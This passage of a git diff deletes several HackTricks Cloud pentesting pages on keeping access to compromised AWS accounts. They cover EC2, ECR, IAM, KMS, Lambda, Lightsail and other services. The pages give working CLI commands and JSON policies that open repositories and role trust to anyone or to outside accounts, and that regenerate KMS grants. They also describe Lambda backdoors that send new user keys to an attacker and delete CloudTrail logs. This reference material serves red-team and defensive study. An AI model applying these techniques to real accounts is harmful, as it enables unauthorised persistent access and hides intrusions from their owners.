- --region
-```
-
-The compromised instances or Lambda functions can periodically check the C2 table for new commands, execute them, and optionally report the results back to the table. This allows the attacker to maintain persistence and control over the compromised resources.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md b/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
deleted file mode 100644
index e2f500bf0..000000000
--- a/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
+++ /dev/null
@@ -1,80 +0,0 @@
-# AWS - EC2 Persistence
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## EC2
-
-For more information check:
-
-{% content-ref url="../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/" %}
-[aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum](../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/)
-{% endcontent-ref %}
-
-### Security Group Connection Tracking Persistence
-
-If a defender finds that an **EC2 instance was compromised** he will probably try to **isolate** the **network** of the machine. He could do this with an explicit **Deny NACL** (but NACLs affect the entire subnet), or **changing the security group** not allowing **any kind of inbound or outbound** traffic.
-
-If the attacker had a **reverse shell originated from the machine**, even if the SG is modified to not allow inboud or outbound traffic, the **connection won't be killed due to** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
-
-### EC2 Lifecycle Manager
-
-This service allow to **schedule** the **creation of AMIs and snapshots** and even **share them with other accounts**.\
-An attacker could configure the **generation of AMIs or snapshots** of all the images or all the volumes **every week** and **share them with his account**.
-
-### Scheduled Instances
-
-It's possible to schedule instances to run daily, weekly or even monthly. An attacker could run a machine with high privileges or interesting access where he could access.
-
-### Spot Fleet Request
-
-Spot instances are **cheaper** than regular instances. An attacker could launch a **small spot fleet request for 5 year** (for example), with **automatic IP** assignment and a **user data** that sends to the attacker **when the spot instance start** and the **IP address** and with a **high privileged IAM role**.
-
-### Backdoor Instances
-
-An attacker could get access to the instances and backdoor them:
-
-* Using a traditional **rootkit** for example
-* Adding a new **public SSH key** (check [EC2 privesc options](../aws-privilege-escalation/aws-ec2-privesc.md))
-* Backdooring the **User Data**
-
-### **Backdoor Launch Configuration**
-
-* Backdoor the used AMI
-* Backdoor the User Data
-* Backdoor the Key Pair
-
-### VPN
-
-Create a VPN so the attacker will be able to connect directly through i to the VPC.
-
-### VPC Peering
-
-Create a peering connection between the victim VPC and the attacker VPC so he will be able to access the victim VPC.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md b/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
deleted file mode 100644
index cdea71f8d..000000000
--- a/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
+++ /dev/null
@@ -1,124 +0,0 @@
-# AWS - ECR Persistence
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## ECR
-
-For more information check:
-
-{% content-ref url="../aws-services/aws-ecr-enum.md" %}
-[aws-ecr-enum.md](../aws-services/aws-ecr-enum.md)
-{% endcontent-ref %}
-
-### Hidden Docker Image with Malicious Code
-
-An attacker could **upload a Docker image containing malicious code** to an ECR repository and use it to maintain persistence in the target AWS account. The attacker could then deploy the malicious image to various services within the account, such as Amazon ECS or EKS, in a stealthy manner.
-
-### Repository Policy
-
-Add a policy to a single repository granting yourself (or everybody) access to a repository:
-
-```bash
-aws ecr set-repository-policy \
- --repository-name cluster-autoscaler \
- --policy-text file:///tmp/my-policy.json
-
-# With a .json such as
-
-{
- "Version" : "2008-10-17",
- "Statement" : [
- {
- "Sid" : "allow public pull",
- "Effect" : "Allow",
- "Principal" : "*",
- "Action" : [
- "ecr:BatchCheckLayerAvailability",
- "ecr:BatchGetImage",
- "ecr:GetDownloadUrlForLayer"
- ]
- }
- ]
-}
-```
-
-{% hint style="warning" %}
-Note that ECR requires that users have **permission** to make calls to the **`ecr:GetAuthorizationToken`** API through an IAM policy **before they can authenticate** to a registry and push or pull any images from any Amazon ECR repository.
-{% endhint %}
-
-### Registry Policy & Cross-account Replication
-
-It's possible to automatically replicate a registry in an external account configuring cross-account replication, where you need to **indicate the external account** there you want to replicate the registry.
-
-
-
-First, you need to give the external account access over the registry with a **registry policy** like:
-
-```bash
-aws ecr put-registry-policy --policy-text file://my-policy.json
-
-# With a .json like:
-
-{
- "Sid": "asdasd",
- "Effect": "Allow",
- "Principal": {
- "AWS": "arn:aws:iam::947247140022:root"
- },
- "Action": [
- "ecr:CreateRepository",
- "ecr:ReplicateImage"
- ],
- "Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
-}
-```
-
-Then apply the replication config:
-
-```bash
-aws ecr put-replication-configuration \
- --replication-configuration file://replication-settings.json \
- --region us-west-2
-
-# Having the .json a content such as:
-{
- "rules": [{
- "destinations": [{
- "region": "destination_region",
- "registryId": "destination_accountId"
- }],
- "repositoryFilters": [{
- "filter": "repository_prefix_name",
- "filterType": "PREFIX_MATCH"
- }]
- }]
-}
-```
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md b/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
deleted file mode 100644
index b534c2fd2..000000000
--- a/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
+++ /dev/null
@@ -1,47 +0,0 @@
-# AWS - EFS Persistence
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## EFS
-
-For more information check:
-
-{% content-ref url="../aws-services/aws-efs-enum.md" %}
-[aws-efs-enum.md](../aws-services/aws-efs-enum.md)
-{% endcontent-ref %}
-
-### Modify Resource Policy / Security Groups
-
-Modifying the **resource policy and/or security groups** you can try to persist your access into the file system.
-
-### Create Access Point
-
-You could **create an access point** (with root access to `/`) accessible from a service were you have implemented **other persistence** to keep privileged access to the file system.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md b/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
deleted file mode 100644
index accebf399..000000000
--- a/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
+++ /dev/null
@@ -1,78 +0,0 @@
-# AWS - IAM Persistence
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## IAM
-
-For more information access:
-
-{% content-ref url="../aws-services/aws-iam-enum.md" %}
-[aws-iam-enum.md](../aws-services/aws-iam-enum.md)
-{% endcontent-ref %}
-
-### Common IAM Persistence
-
-* Create a user
-* Add a controlled user to a privileged group
-* Create access keys (of the new user or of all users)
-* Grant extra permissions to controlled users/groups (attached policies or inline policies)
-* Disable MFA / Add you own MFA device
-* Create a Role Chain Juggling situation (more on this below in STS persistence)
-
-### Backdoor Role Trust Policies
-
-You could backdoor a trust policy to be able to assume it for an external resource controlled by you (or to everyone):
-
-```json
-{
- "Version": "2012-10-17",
- "Statement": [
- {
- "Effect": "Allow",
- "Principal": {
- "AWS": [
- "*",
- "arn:aws:iam::123213123123:root"
- ]
- },
- "Action": "sts:AssumeRole"
- }
- ]
-}
-```
-
-### Backdoor Policy Version
-
-Give Administrator permissions to a policy in not its last version (the last version should looks legit), then assign that version of the policy to a controlled user/group.
-
-### Backdoor / Create Identity Provider
-
-If the account is already trusting a common identity provider (such as Github) the conditions of the trust could be increased so the attacker can abuse them.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md b/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
deleted file mode 100644
index dbf4efa29..000000000
--- a/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
+++ /dev/null
@@ -1,66 +0,0 @@
-# AWS - KMS Persistence
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## KMS
-
-For mor information check:
-
-{% content-ref url="../aws-services/aws-kms-enum.md" %}
-[aws-kms-enum.md](../aws-services/aws-kms-enum.md)
-{% endcontent-ref %}
-
-### Grant acces via KMS policies
-
-An attacker could use the permission **`kms:PutKeyPolicy`** to **give access** to a key to a user under his control or even to an external account. Check the [**KMS Privesc page**](../aws-privilege-escalation/aws-kms-privesc.md) for more information.
-
-### Eternal Grant
-
-Grants are another way to give a principal some permissions over a specific key. It's possible to give a grant that allows a user to create grants. Moreover, a user can have several grant (even identical) over the same key.
-
-Therefore, it's possible for a user to have 10 grants with all the permissions. The attacker should monitor this constantly. And if at some point 1 grant is removed another 10 should be generated.
-
-(We are using 10 and not 2 to be able to detect that a grant was removed while the user still has some grant)
-
-```bash
-# To generate grants, generate 10 like this one
-aws kms create-grant \
- --key-id \
- --grantee-principal \
- --operations "CreateGrant" "Decrypt"
-
-# To monitor grants
-aws kms list-grants --key-id
-```
-
-{% hint style="info" %}
-A grant can give permissions only from this: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
-{% endhint %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md b/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
deleted file mode 100644
index 13f2777a8..000000000
--- a/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
+++ /dev/null
@@ -1,90 +0,0 @@
-# AWS - Lambda Persistence
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## Lambda
-
-For more information check:
-
-{% content-ref url="../../aws-services/aws-lambda-enum.md" %}
-[aws-lambda-enum.md](../../aws-services/aws-lambda-enum.md)
-{% endcontent-ref %}
-
-### Lambda Layer Persistence
-
-It's possible to **introduce/backdoor a layer to execute arbitrary code** when the lambda is executed in a stealthy way:
-
-{% content-ref url="aws-lambda-layers-persistence.md" %}
-[aws-lambda-layers-persistence.md](aws-lambda-layers-persistence.md)
-{% endcontent-ref %}
-
-### Lambda Extension Persistence
-
-Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests.
-
-{% content-ref url="aws-abusing-lambda-extensions.md" %}
-[aws-abusing-lambda-extensions.md](aws-abusing-lambda-extensions.md)
-{% endcontent-ref %}
-
-### Via resource policies
-
-It's possible to grant access to different lambda actions (such as invoke or update code) to external accounts:
-
-
-
-### Versions, Aliases & Weights
-
-A Lambda can have **different versions** (with different code each version).\
-Then, you can create **different aliases with different versions** of the lambda and set different weights to each.\
-This way an attacker could create a **backdoored version 1** and a **version 2 with only the legit code** and **only execute the version 1 in 1%** of the requests to remain stealth.
-
-
-
-### Version Backdoor + API Gateway
-
-1. Copy the original code of the Lambda
-2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST
- 1. Call the API gateway related to the lambda to execute the code
-3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST.
- 1. This will hide the backdoored code in a previous version
-4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1::function::1`
- 1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario).
-5. Select the POST method created and in Actions select **`Deploy API`**
-6. Now, when you **call the function via POST your Backdoor** will be invoked
-
-### Cron/Event actuator
-
-The fact that you can make **lambda functions run when something happen or when some time pass** makes lambda a nice and common way to obtain persistence and avoid detection.\
-Here you have some ideas to make your **presence in AWS more stealth by creating lambdas**.
-
-* Every time a new user is created lambda generates a new user key and send it to the attacker.
-* Every time a new role is created lambda gives assume role permissions to compromised users.
-* Every time new cloudtrail logs are generated, delete/alter them
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md b/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
deleted file mode 100644
index aa8a0269f..000000000
--- a/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
+++ /dev/null
@@ -1,69 +0,0 @@
-# AWS - Abusing Lambda Extensions
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## Lambda Extensions
-
-Lambda extensions enhance functions by integrating with various **monitoring, observability, security, and governance tools**. These extensions, added via [.zip archives using Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) or included in [container image deployments](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operate in two modes: **internal** and **external**.
-
-* **Internal extensions** merge with the runtime process, manipulating its startup using **language-specific environment variables** and **wrapper scripts**. This customization applies to a range of runtimes, including **Java Correto 8 and 11, Node.js 10 and 12, and .NET Core 3.1**.
-* **External extensions** run as separate processes, maintaining operation alignment with the Lambda function's lifecycle. They're compatible with various runtimes like **Node.js 10 and 12, Python 3.7 and 3.8, Ruby 2.5 and 2.7, Java Corretto 8 and 11, .NET Core 3.1**, and **custom runtimes**.
-
-For more information about [**how lambda extensions work check the docs**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
-
-### External Extension for Persistence, Stealing Requests & modifying Requests
-
-This is a summary of the technique proposed in this post: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
-
-It was found that the default Linux kernel in the Lambda runtime environment is compiled with “**process\_vm\_readv**” and “**process\_vm\_writev**” system calls. And all processes run with the same user ID, even the new process created for the external extension. **This means that an external extension has full read and write access to Rapid’s heap memory, by design.**
-
-Moreover, while Lambda extensions have the capability to **subscribe to invocation events**, AWS does not reveal the raw data to these extensions. This ensures that **extensions cannot access sensitive information** transmitted via the HTTP request.
-
-The Init (Rapid) process monitors all API requests at [http://127.0.0.1:9001](http://127.0.0.1:9001/) while Lambda extensions are initialized and run prior to the execution of any runtime code, but after Rapid.
-
-
-
-The variable **`AWS_LAMBDA_RUNTIME_API`** indicates the **IP** address and **port** number of the Rapid API to **child runtime processes** and additional extensions.
-
-{% hint style="warning" %}
-By changing the **`AWS_LAMBDA_RUNTIME_API`** environment variable to a **`port`** we have access to, it's possible to intercept all actions within the Lambda runtime (**man-in-the-middle**). This is possible because the extension runs with the same privileges as Rapid Init, and the system's kernel allows for **modification of process memory**, enabling the alteration of the port number.
-{% endhint %}
-
-Because **extensions run before any runtime code**, modifying the environment variable will influence the runtime process (e.g., Python, Java, Node, Ruby) as it starts. Furthermore, **extensions loaded after** ours, which rely on this variable, will also route through our extension. This setup could enable malware to entirely bypass security measures or logging extensions directly within the runtime environment.
-
-
-
-The tool [**lambda-spy**](https://github.com/clearvector/lambda-spy) was created to perform that **memory write** and **steal sensitive information** from lambda requests, other **extensions** **requests** and even **modify them**.
-
-## References
-
-* [https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/](https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/)
-* [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md b/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
deleted file mode 100644
index 77290eacb..000000000
--- a/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
+++ /dev/null
@@ -1,59 +0,0 @@
-# AWS - Lightsail Persistence
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## Lightsail
-
-For more information check:
-
-{% content-ref url="../aws-services/aws-lightsail-enum.md" %}
-[aws-lightsail-enum.md](../aws-services/aws-lightsail-enum.md)
-{% endcontent-ref %}
-
-### Download Instance SSH keys & DB passwords
-
-They won't be changed probably so just having them is a good option for persistence
-
-### Backdoor Instances
-
-An attacker could get access to the instances and backdoor them:
-
-* Using a traditional **rootkit** for example
-* Adding a new **public SSH key**
-* Expose a port with port knocking with a backdoor
-
-### DNS persistence
-
-If domains are configured:
-
-* Create a subdomain pointing your IP so you will have a **subdomain takeover**
-* Create **SPF** record allowing you to send **emails** from the domain
-* Configure the **main domain IP to your own one** and perform a **MitM** from your IP to the legit ones
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md b/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
deleted file mode 100644
index 641621662..000000000
--- a/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
+++ /dev/null
@@ -1,61 +0,0 @@
-# AWS - RDS Persistence
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
